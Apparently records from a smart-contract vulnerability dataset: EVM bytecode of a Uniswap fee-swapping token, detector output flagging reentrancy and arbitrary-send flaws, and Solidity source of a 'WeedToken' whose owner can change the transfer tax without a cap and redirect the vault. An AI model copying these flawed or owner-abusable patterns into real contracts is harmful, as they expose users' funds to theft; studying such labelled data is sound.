fff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb5dbc81f7bfe79143557f4b78c3547e43357a70b59f24e1c2db18c7d55040e364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,095
0xb30d2890FE322cBa8155D60185d343752df47D59
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Context abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: IERC20 interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: IWeedVault interface IWeedVault { function balanceOf(address account) external view returns (uint256); function addTaxFee(uint256 amount) external returns (bool); } // Part: SafeMath library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: Ownable abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: WeedToken.sol /** * 'WEED' token contract * * Name : W33D.FINANCE * Symbol : WEED * Total supply: 420,069 (420 thousand and 69) * Decimals : 18 * * ERC20 Token, with the Burnable, Pausable and Ownable from OpenZeppelin */ contract WeedToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint16 public _taxFee; address public _vault; address private _vaultTokenOwner; address private _uniswapTokenOwner; address private _presaleTokenOwner; address private _uniswapV2Router; uint8 private _initialMaxTransfers; uint256 private _initialMaxTransferAmount; modifier onlyVault() { require( _vault == _msgSender(), "Ownable: caller is not vault" ); _; } event ChangedTaxFee(address indexed owner, uint16 fee); event ChangedVault(address indexed owner, address indexed oldAddress, address indexed newAddress); event ChangedInitialMaxTransfers(address indexed owner, uint8 count); IWeedVault weedVault; constructor(address uniswapTokenOwner, address presaleTokenOwner, address vaultTokenOwner) public { _name = "W33D.FINANCE"; _symbol = "WEED"; _decimals = 18; _uniswapTokenOwner = uniswapTokenOwner; _presaleTokenOwner = presaleTokenOwner; _vaultTokenOwner = vaultTokenOwner; _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // set initial tax fee(transfer) fee as 4.20% // It is allow 2 digits under point _taxFee = 420; _initialMaxTransfers = 50; _initialMaxTransferAmount = 30e17; // initial around 0.2 eth(3 WEED) // 420,069 // Uniswap pool 100 _mint(_uniswapTokenOwner, 2000E18); // Farming 9900 _mint(_vaultTokenOwner, 376000E18); // presale 1000 _mint(_presaleTokenOwner, 42069E18); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if (_checkWithoutFee()) { _transfer(_msgSender(), recipient, amount); } else { uint256 taxAmount = amount.mul(uint256(_taxFee)).div(10000); uint256 leftAmount = amount.sub(taxAmount); _transfer(_msgSender(), _vault, taxAmount); _transfer(_msgSender(), recipient, leftAmount); weedVault.addTaxFee(taxAmount); } return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { if (_checkWithoutFee()) { _transfer(sender, recipient, amount); } else { uint256 feeAmount = amount.mul(uint256(_taxFee)).div(10000); uint256 leftAmount = amount.sub(feeAmount); _transfer(sender, _vault, feeAmount); _transfer(sender, recipient, leftAmount); weedVault.addTaxFee(feeAmount); } _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function setTaxFee(uint16 fee) external onlyOwner { _taxFee = fee; emit ChangedTaxFee(_msgSender(), fee); } function setVault(address vault) external onlyOwner { require(vault != address(0), "Invalid vault contract address"); address oldAddress = _vault; _vault = vault; weedVault = IWeedVault(_vault); emit ChangedVault(_msgSender(), oldAddress, _vault); } function setInitialMaxTransfers(uint8 count) external onlyOwner { _initialMaxTransfers = count; emit ChangedInitialMaxTransfers(_msgSender(), count); } function burnFromVault(uint256 amount) external onlyVault returns (bool) { _burn(_vault, amount); return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient != _vault) { // for anti-bot if (sender != _vault && sender != _uniswapTokenOwner && sender != _presaleTokenOwner && sender != _vaultTokenOwner) { if (_initialMaxTransfers != 0) { require(amount <= _initialMaxTransferAmount, "Can't transfer more than 1.7 WEED for initial 50 times."); _initialMaxTransfers--; } } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _checkWithoutFee() internal view returns (bool) { if (_msgSender() == _vault || _msgSender() == _presaleTokenOwner || _msgSender() == _uniswapTokenOwner || _msgSender() == _vaultTokenOwner) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9c6325811610071578063a9c63258146103a1578063dd62ed3e146103be578063f2fde38b146103ec578063f50c01ef14610412578063fd243da3146104335761012c565b8063715018a6146103155780638da5cb5b1461031d57806395d89b4114610341578063a457c2d714610349578063a9059cbb146103755761012c565b806339509351116100f4578063395093511461025c5780633b124fe7146102885780636817031b146102a75780636dfe4e0c146102cf57806370a08231146102ef5761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b61013961043b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b0381351690602001356104d2565b604080519115158252519081900360200190f35b6101f66104f0565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b038135811691602081013590911690604001356104f6565b61024661066f565b6040805160ff9092168252519081900360200190f35b6101da6004803603604081101561027257600080fd5b506001600160a01b038135169060200135610678565b6102906106c6565b6040805161ffff9092168252519081900360200190f35b6102cd600480360360208110156102bd57600080fd5b50356001600160a01b03166106d5565b005b6102cd600480360360208110156102e557600080fd5b503560ff16610812565b6101f66004803603602081101561030557600080fd5b50356001600160a01b03166108d0565b6102cd6108eb565b61032561098d565b604080516001600160a01b039092168252519081900360200190f35b61013961099c565b6101da6004803603604081101561035f57600080fd5b506001600160a01b0381351690602001356109fd565b6101da6004803603604081101561038b57600080fd5b506001600160a01b038135169060200135610a65565b6101da600480360360208110156103b757600080fd5b5035610b78565b6101f6600480360360408110156103d457600080fd5b506001600160a01b0381358116916020013516610c10565b6102cd6004803603602081101561040257600080fd5b50356001600160a01b0316610c3b565b6102cd6004803603602081101561042857600080fd5b503561ffff16610d33565b610325610df0565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c75780601f1061049c576101008083540402835291602001916104c7565b820191906000526020600020905b8154815290600101906020018083116104aa57829003601f168201915b505050505090505b90565b60006104e66104df610e67565b8484610e6b565b5060015b92915050565b60035490565b6000610500610f57565b1561051557610510848484611003565b6105f5565b60065460009061053d9061271090610537908690610100900461ffff16611256565b906112af565b9050600061054b84836112f1565b905061056d86600660039054906101000a90046001600160a01b031684611003565b610578868683611003565b600c546040805163acb55ab160e01b81526004810185905290516001600160a01b039092169163acb55ab1916024808201926020929091908290030181600087803b1580156105c657600080fd5b505af11580156105da573d6000803e3d6000fd5b505050506040513d60208110156105f057600080fd5b505050505b61066584610601610e67565b610660856040518060600160405280602881526020016115f0602891396001600160a01b038a1660009081526002602052604081209061063f610e67565b6001600160a01b03168152602081019190915260400160002054919061132f565b610e6b565b5060019392505050565b60065460ff1690565b60006104e6610685610e67565b846106608560026000610696610e67565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610e06565b600654610100900461ffff1681565b6106dd610e67565b6000546001600160a01b0390811691161461072d576040805162461bcd60e51b81526020600482018190526024820152600080516020611618833981519152604482015290519081900360640190fd5b6001600160a01b038116610788576040805162461bcd60e51b815260206004820152601e60248201527f496e76616c6964207661756c7420636f6e747261637420616464726573730000604482015290519081900360640190fd5b600680546001600160a01b0383811663010000009081026301000000600160b81b031984161793849055600c80546001600160a01b03191694829004831694851790559091041690816107d9610e67565b6001600160a01b03167f212b71a61ed5acf0871c06f022fcb8e2670b5f32677efe666f8c2f2254337b3960405160405180910390a45050565b61081a610e67565b6000546001600160a01b0390811691161461086a576040805162461bcd60e51b81526020600482018190526024820152600080516020611618833981519152604482015290519081900360640190fd5b600a805460ff60a01b1916600160a01b60ff84160217905561088a610e67565b6001600160a01b03167f3e59c333e0afc14664476c763a75bde9e423d546070bd86f5b9a6a0a9c55f0ed82604051808260ff16815260200191505060405180910390a250565b6001600160a01b031660009081526001602052604090205490565b6108f3610e67565b6000546001600160a01b03908116911614610943576040805162461bcd60e51b81526020600482018190526024820152600080516020611618833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c75780601f1061049c576101008083540402835291602001916104c7565b60006104e6610a0a610e67565b84610660856040518060600160405280602581526020016116a26025913960026000610a34610e67565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061132f565b6000610a6f610f57565b15610a8b57610a86610a7f610e67565b8484611003565b6104e6565b600654600090610aad9061271090610537908690610100900461ffff16611256565b90506000610abb84836112f1565b9050610ae1610ac8610e67565b600654630100000090046001600160a01b031684611003565b610af3610aec610e67565b8683611003565b600c546040805163acb55ab160e01b81526004810185905290516001600160a01b039092169163acb55ab1916024808201926020929091908290030181600087803b158015610b4157600080fd5b505af1158015610b55573d6000803e3d6000fd5b505050506040513d6020811015610b6b57600080fd5b5050505050600192915050565b6000610b82610e67565b600654630100000090046001600160a01b03908116911614610beb576040805162461bcd60e51b815260206004820152601c60248201527f4f776e61626c653a2063616c6c6572206973206e6f74207661756c7400000000604482015290519081900360640190fd5b600654610c0890630100000090046001600160a01b0316836113c6565b506001919050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610c43610e67565b6000546001600160a01b03908116911614610c93576040805162461bcd60e51b81526020600482018190526024820152600080516020611618833981519152604482015290519081900360640190fd5b6001600160a01b038116610cd85760405162461bcd60e51b81526004018080602001828103825260268152602001806115616026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610d3b610e67565b6000546001600160a01b03908116911614610d8b576040805162461bcd60e51b81526020600482018190526024820152600080516020611618833981519152604482015290519081900360640190fd5b6006805462ffff00191661010061ffff841602179055610da9610e67565b6001600160a01b03167f0f47c834050beff4b5f0caad993362276b6176c2c9e2a2b6feb9e8c6bad0fd1782604051808261ffff16815260200191505060405180910390a250565b600654630100000090046001600160a01b031681565b600082820183811015610e60576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610eb05760405162461bcd60e51b815260040180806020018281038252602481526020018061167e6024913960400191505060405180910390fd5b6001600160a01b038216610ef55760405162461bcd60e51b81526004018080602001828103825260228152602001806115876022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600654600090630100000090046001600160a01b0316610f75610e67565b6001600160a01b03161480610fa457506009546001600160a01b0316610f99610e67565b6001600160a01b0316145b80610fc957506008546001600160a01b0316610fbe610e67565b6001600160a01b0316145b80